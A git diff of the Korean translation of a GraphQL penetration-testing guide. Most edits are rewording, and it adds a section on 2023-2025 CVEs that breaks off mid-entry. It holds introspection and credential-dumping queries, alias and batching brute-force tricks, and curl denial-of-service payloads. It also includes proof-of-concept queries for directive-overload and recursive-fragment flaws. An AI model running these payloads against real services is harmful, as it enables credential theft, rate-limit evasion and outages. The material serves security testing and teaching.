diff --git a/src/network-services-pentesting/pentesting-web/graphql.md b/src/network-services-pentesting/pentesting-web/graphql.md
index dd1a78e5b..a03d9f3fb 100644
--- a/src/network-services-pentesting/pentesting-web/graphql.md
+++ b/src/network-services-pentesting/pentesting-web/graphql.md
@@ -4,11 +4,11 @@
## Introduction
-GraphQL은 **효율적인 대안**으로 **REST API**에 주목받고 있으며, 백엔드에서 데이터를 쿼리하는 간소화된 접근 방식을 제공합니다. REST는 데이터를 수집하기 위해 다양한 엔드포인트에 여러 요청을 필요로 하는 반면, GraphQL은 **단일 요청**을 통해 필요한 모든 정보를 가져올 수 있습니다. 이러한 간소화는 데이터 가져오기 프로세스의 복잡성을 줄여 **개발자에게 큰 이점**을 제공합니다.
+GraphQL은 **효율적인 대안**으로 **강조**되며, 백엔드에서 데이터를 쿼리하는 간소화된 접근 방식을 제공합니다. REST와 달리, REST는 데이터를 수집하기 위해 다양한 엔드포인트에 여러 요청을 필요로 하는 경우가 많지만, GraphQL은 **단일 요청**을 통해 필요한 모든 정보를 가져올 수 있습니다. 이러한 간소화는 데이터 가져오기 프로세스의 복잡성을 줄여 **개발자에게 큰 이점**을 제공합니다.
## GraphQL과 보안
-GraphQL을 포함한 새로운 기술의 출현과 함께 새로운 보안 취약점도 발생합니다. 주목할 점은 **GraphQL은 기본적으로 인증 메커니즘을 포함하지 않는다**는 것입니다. 개발자가 이러한 보안 조치를 구현하는 것이 책임입니다. 적절한 인증이 없으면 GraphQL 엔드포인트가 인증되지 않은 사용자에게 민감한 정보를 노출할 수 있어 상당한 보안 위험을 초래합니다.
+GraphQL을 포함한 새로운 기술의 출현과 함께 새로운 보안 취약점도 발생합니다. 주목할 점은 **GraphQL은 기본적으로 인증 메커니즘을 포함하지 않습니다**. 이러한 보안 조치를 구현하는 것은 개발자의 책임입니다. 적절한 인증이 없으면 GraphQL 엔드포인트가 인증되지 않은 사용자에게 민감한 정보를 노출할 수 있어 상당한 보안 위험을 초래합니다.
### 디렉토리 브루트 포스 공격과 GraphQL
@@ -23,7 +23,7 @@ GraphQL을 포함한 새로운 기술의 출현과 함께 새로운 보안 취
- `/graphql/api`
- `/graphql/graphql`
-열려 있는 GraphQL 인스턴스를 식별하면 지원되는 쿼리를 검토할 수 있습니다. 이는 엔드포인트를 통해 접근할 수 있는 데이터를 이해하는 데 중요합니다. GraphQL의 introspection 시스템은 스키마가 지원하는 쿼리를 자세히 설명하여 이를 용이하게 합니다. 이에 대한 자세한 내용은 GraphQL 문서의 introspection을 참조하십시오: [**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/)
+열려 있는 GraphQL 인스턴스를 식별하면 지원되는 쿼리를 검토할 수 있습니다. 이는 엔드포인트를 통해 접근 가능한 데이터를 이해하는 데 중요합니다. GraphQL의 introspection 시스템은 스키마가 지원하는 쿼리를 자세히 설명하여 이를 용이하게 합니다. 이에 대한 자세한 내용은 GraphQL의 introspection 문서를 참조하십시오: [**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/)
### 지문 인식
@@ -31,7 +31,7 @@ GraphQL을 포함한 새로운 기술의 출현과 함께 새로운 보안 취
#### 유니버설 쿼리
-URL이 GraphQL 서비스인지 확인하기 위해 **유니버설 쿼리**인 `query{__typename}`을 보낼 수 있습니다. 응답에 `{"data": {"__typename": "Query"}}`가 포함되면 해당 URL이 GraphQL 엔드포인트를 호스팅하고 있음을 확인할 수 있습니다. 이 방법은 쿼리된 객체의 유형을 나타내는 GraphQL의 `__typename` 필드에 의존합니다.
+URL이 GraphQL 서비스인지 확인하기 위해 **유니버설 쿼리**인 `query{__typename}`을 보낼 수 있습니다. 응답에 `{"data": {"__typename": "Query"}}`가 포함되면 해당 URL이 GraphQL 엔드포인트를 호스팅하고 있음을 확인합니다. 이 방법은 쿼리된 객체의 유형을 나타내는 GraphQL의 `__typename` 필드에 의존합니다.
```javascript
query{__typename}
```
@@ -67,7 +67,7 @@ query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofTy
**인스펙션을 통한 데이터베이스 스키마 열거**
-> [!NOTE]
+> [!TIP]
> 인스펙션이 활성화되어 있지만 위 쿼리가 실행되지 않는 경우, 쿼리 구조에서 `onOperation`, `onFragment`, 및 `onField` 지시어를 제거해 보십시오.
```bash
#Full introspection query
@@ -176,15 +176,15 @@ name

-쿼리 "_flags_"의 유형이 "_Flags_"임에 유의하세요. 이 객체는 아래와 같이 정의됩니다:
+쿼리 "_flags_"의 유형이 "_Flags_"임을 주목하세요. 이 객체는 아래와 같이 정의됩니다:
.png>)
-"_Flags_" 객체는 **name**과 **value**로 구성되어 있습니다. 그러면 쿼리를 통해 모든 플래그의 이름과 값을 가져올 수 있습니다:
+"_Flags_" 객체는 **name**과 **value**로 구성되어 있습니다. 그런 다음 쿼리를 사용하여 모든 플래그의 이름과 값을 가져올 수 있습니다:
```javascript
query={flags{name, value}}
```
-다음 예제와 같이 **query할 객체**가 **primitive** **type**인 **string**인 경우
+다음 예제와 같이 **string**과 같은 **원시** **타입**인 **query할 객체**의 경우
.png>)
@@ -206,26 +206,26 @@ query = { hiddenFlags }
제가 그 쿼리를 실행했을 때 제공된 이미지를 읽어보면 "_**user**_"가 타입 _Int_의 **arg** "_**uid**_"를 가지고 있음을 알 수 있습니다.
-그래서 가벼운 _**uid**_ 브루트포스를 수행한 결과, _**uid**=**1**_에서 사용자 이름과 비밀번호가 검색되었습니다:\
+그래서 가벼운 _**uid**_ 브루트포스를 수행한 결과, _**uid**=**1**_에서 사용자 이름과 비밀번호를 검색했습니다:\
`query={user(uid:1){user,password}}`
.png>)
-나는 **매개변수** "_**user**_"와 "_**password**_"를 요청할 수 있다는 것을 **발견**했습니다. 왜냐하면 존재하지 않는 것을 찾으려고 하면 (`query={user(uid:1){noExists}}`) 이 오류가 발생하기 때문입니다:
+저는 **매개변수** "_**user**_"와 "_**password**_"를 요청할 수 있다는 것을 **발견**했습니다. 왜냐하면 존재하지 않는 것을 찾으려고 시도하면 (`query={user(uid:1){noExists}}`) 이 오류가 발생하기 때문입니다:
.png>)
-그리고 **열거 단계**에서 "_**dbuser**_" 객체가 "_**user**_"와 "_**password**_"라는 필드를 가지고 있음을 발견했습니다.
+그리고 **열거 단계**에서 "_**dbuser**_" 객체가 "_**user**_"와 "_**password**_" 필드를 가지고 있음을 발견했습니다.
-**쿼리 문자열 덤프 트릭 (thanks to @BinaryShadow\_)**
+**쿼리 문자열 덤프 트릭 (감사합니다 @BinaryShadow\_)**
-문자열 타입으로 검색할 수 있다면, 예를 들어: `query={theusers(description: ""){username,password}}`와 같이 **빈 문자열**을 검색하면 **모든 데이터를 덤프**합니다. (_이 예제는 튜토리얼의 예제와 관련이 없으므로, 이 예제에서는 "**description**"이라는 문자열 필드를 사용하여 "**theusers**"를 검색할 수 있다고 가정합니다_).
+문자열 타입으로 검색할 수 있다면, `query={theusers(description: ""){username,password}}`와 같이 **빈 문자열**을 검색하면 **모든 데이터가 덤프됩니다**. (_이 예제는 튜토리얼의 예제와 관련이 없으며, 이 예제에서는 "**description**"이라는 문자열 필드를 사용하여 "**theusers**"를 검색할 수 있다고 가정합니다_).
### 검색
이 설정에서, **데이터베이스**는 **사람들**과 **영화**를 포함합니다. **사람들**은 그들의 **이메일**과 **이름**으로 식별되며; **영화**는 그들의 **이름**과 **평점**으로 식별됩니다. **사람들**은 서로 친구가 될 수 있으며, 또한 영화가 있어 데이터베이스 내의 관계를 나타냅니다.
-당신은 **이름**으로 사람들을 **검색**하고 그들의 이메일을 얻을 수 있습니다:
+이름으로 사람들을 **검색**하고 그들의 이메일을 얻을 수 있습니다:
```javascript
{
searchPerson(name: "John Doe") {
@@ -250,7 +250,7 @@ name
```
`subscribedMovies`의 `name`을 가져오는 방법이 표시되어 있습니다.
-여러 개의 객체를 **동시에 검색할 수 있습니다**. 이 경우, 2개의 영화를 검색합니다:
+여러 개의 객체를 **동시에 검색**할 수도 있습니다. 이 경우, 2개의 영화를 검색합니다:
```javascript
{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
@@ -283,15 +283,15 @@ name
```
### Mutations
-**변경은 서버 측에서 변경을 수행하는 데 사용됩니다.**
+**Mutations는 서버 측에서 변경을 수행하는 데 사용됩니다.**
-**인트로스펙션**에서 **선언된** **변경**을 찾을 수 있습니다. 다음 이미지에서 "_MutationType_"은 "_Mutation_"이라고 하며, "_Mutation_" 객체는 변경의 이름(이 경우 "_addPerson_")을 포함합니다:
+**introspection**에서 **선언된** **mutations**를 찾을 수 있습니다. 다음 이미지에서 "_MutationType_"는 "_Mutation_"이라고 하며, "_Mutation_" 객체는 mutations의 이름(이 경우 "_addPerson_")을 포함합니다:
.png>)
-이 설정에서 **데이터베이스**는 **사람**과 **영화**를 포함합니다. **사람**은 **이메일**과 **이름**으로 식별되며, **영화**는 **이름**과 **평점**으로 식별됩니다. **사람**은 서로 친구가 될 수 있으며, 데이터베이스 내의 관계를 나타내는 영화를 가질 수 있습니다.
+이 설정에서 **database**는 **persons**와 **movies**를 포함합니다. **Persons**는 **email**과 **name**으로 식별되며, **movies**는 **name**과 **rating**으로 식별됩니다. **Persons**는 서로 친구가 될 수 있으며, 데이터베이스 내의 관계를 나타내는 영화를 가질 수 있습니다.
-데이터베이스 내에서 **새로운** 영화를 **생성하는** 변경은 다음과 같을 수 있습니다(이 예제에서 변경은 `addMovie`라고 불립니다):
+데이터베이스 내에서 **새로운** 영화를 **생성하는** mutation은 다음과 같을 수 있습니다(이 예제에서 mutation은 `addMovie`라고 합니다):
```javascript
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
@@ -341,7 +341,7 @@ releaseYear
이 정보는 [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/)에서 가져왔습니다.\
GraphQL API를 통해 **다양한 자격 증명을 가진 많은 쿼리를 동시에 전송하여 인증**을 확인합니다. 이는 고전적인 brute force 공격이지만, 이제 GraphQL batching 기능 덕분에 HTTP 요청당 하나 이상의 로그인/비밀번호 쌍을 보낼 수 있습니다. 이 접근 방식은 외부 속도 모니터링 애플리케이션을 속여 모든 것이 잘 되고 있으며 비밀번호를 추측하려는 brute-forcing 봇이 없다고 생각하게 만듭니다.
-아래는 **한 번에 3개의 서로 다른 이메일/비밀번호 쌍**을 가진 애플리케이션 인증 요청의 가장 간단한 시연입니다. 분명히 같은 방식으로 단일 요청에서 수천 개를 보낼 수 있습니다:
+아래는 **한 번에 3개의 서로 다른 이메일/비밀번호 쌍**을 가진 애플리케이션 인증 요청의 가장 간단한 시연을 보여줍니다. 분명히 같은 방식으로 단일 요청에서 수천 개를 보낼 수 있습니다:
.png>)
@@ -351,7 +351,7 @@ GraphQL API를 통해 **다양한 자격 증명을 가진 많은 쿼리를 동
## GraphQL Without Introspection
-점점 더 많은 **graphql 엔드포인트가 introspection을 비활성화하고 있습니다**. 그러나 예상치 못한 요청이 수신될 때 graphql이 발생시키는 오류는 [**clairvoyance**](https://github.com/nikitastupin/clairvoyance)와 같은 도구가 스키마의 대부분을 재구성하는 데 충분합니다.
+점점 더 많은 **graphql 엔드포인트가 introspection을 비활성화**하고 있습니다. 그러나 예상치 못한 요청이 수신될 때 graphql이 발생시키는 오류는 [**clairvoyance**](https://github.com/nikitastupin/clairvoyance)와 같은 도구가 스키마의 대부분을 재구성하는 데 충분합니다.
게다가, Burp Suite 확장 프로그램 [**GraphQuail**](https://github.com/forcesunseen/graphquail)은 **Burp를 통해 GraphQL API 요청을 관찰하고** **각 새로운 쿼리와 함께** 내부 GraphQL **스키마를 구축**합니다. 또한 GraphiQL 및 Voyager를 위한 스키마를 노출할 수 있습니다. 이 확장은 introspection 쿼리를 수신할 때 가짜 응답을 반환합니다. 결과적으로 GraphQuail은 API 내에서 사용할 수 있는 모든 쿼리, 인수 및 필드를 보여줍니다. 더 많은 정보는 [**여기서 확인하세요**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
@@ -371,7 +371,7 @@ API에서 introspection 쿼리에 대한 제한을 우회하기 위해, `__schem
### WebSockets 시도
-[**이 강연**](https://www.youtube.com/watch?v=tIo_t5uUK50)에서 언급된 바와 같이, WebSockets를 통해 graphQL에 연결할 수 있는지 확인하십시오. 이는 잠재적인 WAF를 우회하고 WebSocket 통신이 graphQL의 스키마를 유출할 수 있게 할 수 있습니다.
+[**이 강연**](https://www.youtube.com/watch?v=tIo_t5uUK50)에서 언급된 바와 같이, WebSockets를 통해 graphQL에 연결할 수 있는지 확인하십시오. 이는 잠재적인 WAF를 우회하고 WebSocket 통신이 graphQL의 스키마를 누출할 수 있게 할 수 있습니다.
```javascript
ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
@@ -397,7 +397,7 @@ ws.send(JSON.stringify(graphqlMsg))
```
### **노출된 GraphQL 구조 발견하기**
-introspection이 비활성화된 경우, JavaScript 라이브러리에서 미리 로드된 쿼리를 찾기 위해 웹사이트의 소스 코드를 검사하는 것이 유용한 전략입니다. 이러한 쿼리는 개발자 도구의 `Sources` 탭을 사용하여 찾을 수 있으며, API의 스키마에 대한 통찰력을 제공하고 잠재적으로 **노출된 민감한 쿼리**를 드러냅니다. 개발자 도구 내에서 검색하는 명령은 다음과 같습니다:
+인트로스펙션이 비활성화된 경우, JavaScript 라이브러리에서 미리 로드된 쿼리를 찾기 위해 웹사이트의 소스 코드를 검사하는 것은 유용한 전략입니다. 이러한 쿼리는 개발자 도구의 `Sources` 탭을 사용하여 찾을 수 있으며, API의 스키마에 대한 통찰력을 제공하고 잠재적으로 **노출된 민감한 쿼리**를 드러냅니다. 개발자 도구 내에서 검색하는 명령은 다음과 같습니다:
```javascript
Inspect/Sources/"Search all files"
file:* mutation
@@ -425,7 +425,7 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
그러나 Chrome의 `samesite` 플래그의 새로운 기본 쿠키 값이 `Lax`라는 점에 유의하십시오. 이는 쿠키가 GET 요청에서만 제3자 웹에서 전송된다는 것을 의미합니다.
-**쿼리** **요청**을 **GET** **요청**으로 전송하는 것이 일반적으로 가능하며, GET 요청에서 CSRF 토큰이 검증되지 않을 수 있다는 점에 유의하십시오.
+일반적으로 **쿼리** **요청**을 **GET** **요청**으로 전송하는 것이 가능하며, GET 요청에서 CSRF 토큰이 검증되지 않을 수 있다는 점에 유의하십시오.
또한, [**XS-Search**](../../pentesting-web/xs-search/index.html) **공격**을 악용하여 사용자의 자격 증명을 이용해 GraphQL 엔드포인트에서 콘텐츠를 유출할 수 있습니다.
@@ -459,17 +459,17 @@ GraphQL의 CRSF 취약점을 악용하는 것과 유사하게, **보호되지
[쿼리 체이닝](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln)을 통해 약한 인증 시스템을 우회할 수 있습니다.
-아래 예제에서 작업은 "forgotPassword"이며, 이는 해당 쿼리만 실행해야 합니다. 그러나 쿼리를 끝에 추가함으로써 우회할 수 있으며, 이 경우 "register"와 시스템이 새로운 사용자로 등록할 수 있도록 사용자 변수를 추가합니다.
+아래 예제에서 작업은 "forgotPassword"이며, 이는 해당 쿼리와 연결된 forgotPassword 쿼리만 실행해야 합니다. 이를 우회하기 위해 쿼리를 끝에 추가할 수 있으며, 이 경우 "register"와 시스템이 새로운 사용자로 등록할 수 있도록 하는 사용자 변수를 추가합니다.
## GraphQL에서 별칭을 사용한 속도 제한 우회
-GraphQL에서 별칭은 API 요청 시 **속성을 명시적으로 이름 지정**할 수 있는 강력한 기능입니다. 이 기능은 **단일 요청 내에서 동일한 유형**의 객체 여러 인스턴스를 검색하는 데 특히 유용합니다. 별칭을 사용하면 GraphQL 객체가 동일한 이름의 여러 속성을 가질 수 없다는 제한을 극복할 수 있습니다.
+GraphQL에서 별칭은 API 요청 시 **속성을 명시적으로 이름 지정**할 수 있는 강력한 기능입니다. 이 기능은 단일 요청 내에서 **동일한 유형**의 객체 여러 인스턴스를 검색하는 데 특히 유용합니다. 별칭은 GraphQL 객체가 동일한 이름을 가진 여러 속성을 가질 수 없도록 하는 제한을 극복하는 데 사용될 수 있습니다.
GraphQL 별칭에 대한 자세한 이해를 위해 다음 리소스를 추천합니다: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
-별칭의 주요 목적은 많은 API 호출의 필요성을 줄이는 것이지만, 별칭을 사용하여 GraphQL 엔드포인트에 대한 무차별 대입 공격을 실행할 수 있는 의도치 않은 사용 사례가 확인되었습니다. 이는 일부 엔드포인트가 **HTTP 요청 수**를 제한하여 무차별 대입 공격을 저지하기 위해 설계된 속도 제한기로 보호되기 때문입니다. 그러나 이러한 속도 제한기는 각 요청 내의 작업 수를 고려하지 않을 수 있습니다. 별칭을 사용하면 단일 HTTP 요청에 여러 쿼리를 포함할 수 있으므로 이러한 속도 제한 조치를 우회할 수 있습니다.
+별칭의 주요 목적은 수많은 API 호출의 필요성을 줄이는 것이지만, 별칭을 사용하여 GraphQL 엔드포인트에 대한 무차별 대입 공격을 실행할 수 있는 의도치 않은 사용 사례가 확인되었습니다. 이는 일부 엔드포인트가 **HTTP 요청 수**를 제한하여 무차별 대입 공격을 저지하기 위해 설계된 속도 제한기로 보호되기 때문입니다. 그러나 이러한 속도 제한기는 각 요청 내의 작업 수를 고려하지 않을 수 있습니다. 별칭을 사용하면 단일 HTTP 요청에 여러 쿼리를 포함할 수 있으므로 이러한 속도 제한 조치를 우회할 수 있습니다.
아래 제공된 예제를 고려해 보십시오. 이 예제는 별칭 쿼리를 사용하여 상점 할인 코드의 유효성을 확인하는 방법을 보여줍니다. 이 방법은 여러 쿼리를 하나의 HTTP 요청으로 컴파일하므로 속도 제한을 우회할 수 있으며, 동시에 여러 할인 코드를 확인할 수 있습니다.
```bash
@@ -497,11 +497,11 @@ curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'
```
-이를 완화하기 위해, 리소스 남용을 방지하기 위해 별칭 수 제한, 쿼리 복잡성 분석 또는 속도 제한을 구현하십시오.
+이 문제를 완화하기 위해, 리소스 남용을 방지하기 위해 별칭 수 제한, 쿼리 복잡성 분석 또는 속도 제한을 구현하십시오.
### **배열 기반 쿼리 배치**
-**배열 기반 쿼리 배치**는 GraphQL API가 단일 요청에서 여러 쿼리를 배치할 수 있도록 허용하는 취약점으로, 공격자가 동시에 많은 수의 쿼리를 보낼 수 있게 합니다. 이는 모든 배치된 쿼리를 병렬로 실행하여 백엔드를 압도할 수 있으며, 과도한 리소스(CPU, 메모리, 데이터베이스 연결)를 소모하고 잠재적으로 **서비스 거부(DoS)**로 이어질 수 있습니다. 배치 내 쿼리 수에 대한 제한이 없으면, 공격자는 이를 악용하여 서비스 가용성을 저하시킬 수 있습니다.
+**배열 기반 쿼리 배치**는 GraphQL API가 단일 요청에서 여러 쿼리를 배치할 수 있도록 허용하는 취약점으로, 공격자가 동시에 많은 수의 쿼리를 보낼 수 있게 합니다. 이는 모든 배치된 쿼리를 병렬로 실행하여 백엔드를 압도할 수 있으며, 과도한 리소스(CPU, 메모리, 데이터베이스 연결)를 소모하고 잠재적으로 **서비스 거부(DoS)**로 이어질 수 있습니다. 배치 내 쿼리 수에 대한 제한이 없다면, 공격자는 이를 악용하여 서비스 가용성을 저하시킬 수 있습니다.
```graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
@@ -513,7 +513,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \
### **지시문 과부하 취약점**
-**지시문 과부하**는 GraphQL 서버가 과도하고 중복된 지시문을 허용할 때 발생합니다. 이는 서버의 파서와 실행기를 압도할 수 있으며, 특히 서버가 동일한 지시문 로직을 반복적으로 처리할 경우 더욱 그렇습니다. 적절한 검증이나 제한이 없으면, 공격자는 수많은 중복 지시문으로 쿼리를 작성하여 높은 계산 또는 메모리 사용을 유발하여 **서비스 거부(DoS)**를 초래할 수 있습니다.
+**지시문 과부하**는 GraphQL 서버가 과도하고 중복된 지시문을 포함한 쿼리를 허용할 때 발생합니다. 이는 서버의 파서와 실행기를 압도할 수 있으며, 특히 서버가 동일한 지시문 로직을 반복적으로 처리할 경우 더욱 그렇습니다. 적절한 검증이나 제한이 없으면, 공격자는 수많은 중복 지시문을 포함한 쿼리를 작성하여 높은 계산 또는 메모리 사용을 유발하여 **서비스 거부(DoS)**를 초래할 수 있습니다.
```bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
@@ -535,7 +535,7 @@ curl -X POST \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'
```
-그리고 **사용자 정의** 항목 중 일부를 사용하십시오.
+그리고 **사용자 정의 항목 중 일부를 사용하십시오**.
### **필드 중복 취약점**
@@ -546,6 +546,69 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'
```
+## 최근 취약점 (2023-2025)
+
+> GraphQL 생태계는 매우 빠르게 발전하고 있습니다. 지난 2년 동안 가장 많이 사용되는 서버 라이브러리에서 여러 가지 중요한 문제가 공개되었습니다. GraphQL 엔드포인트를 찾으면 엔진의 지문을 찍는 것이 좋습니다(참조: **graphw00f**) 그리고 실행 중인 버전을 아래의 취약점과 비교해 보십시오.
+
+### CVE-2024-47614 – `async-graphql` 지시어 과부하 DoS (Rust)
+* 영향을 받는 버전: async-graphql < **7.0.10** (Rust)
+* 근본 원인: **중복된 지시어**에 대한 제한 없음 (예: 수천 개의 `@include`) 이로 인해 실행 노드의 수가 기하급수적으로 증가합니다.
+* 영향: 단일 HTTP 요청이 CPU/RAM을 소모하여 서비스를 중단시킬 수 있습니다.
+* 수정/완화: ≥ 7.0.10으로 업그레이드하거나 `SchemaBuilder.limit_directives()`를 호출하십시오; 또는 `"@include.*@include.*@include"`와 같은 WAF 규칙으로 요청을 필터링하십시오.
+```graphql
+# PoC – repeat @include X times
+query overload {
+__typename @include(if:true) @include(if:true) @include(if:true)
+}
+```
+### CVE-2024-40094 – `graphql-java` ENF 깊이/복잡성 우회
+* 영향을 받는 버전: graphql-java < 19.11, 20.0-20.8, 21.0-21.4
+* 근본 원인: **ExecutableNormalizedFields**가 `MaxQueryDepth` / `MaxQueryComplexity` 계측에 의해 고려되지 않았습니다. 재귀적 조각이 모든 한계를 우회했습니다.
+* 영향: graphql-java를 포함하는 Java 스택에 대한 인증되지 않은 DoS (Spring Boot, Netflix DGS, Atlassian 제품 등).
+```graphql
+fragment A on Query { ...B }
+fragment B on Query { ...A }
+query { ...A }
+```
+### CVE-2023-23684 – WPGraphQL SSRF to RCE chain
+* 영향을 받는 버전: WPGraphQL ≤ 1.14.5 (WordPress 플러그인).
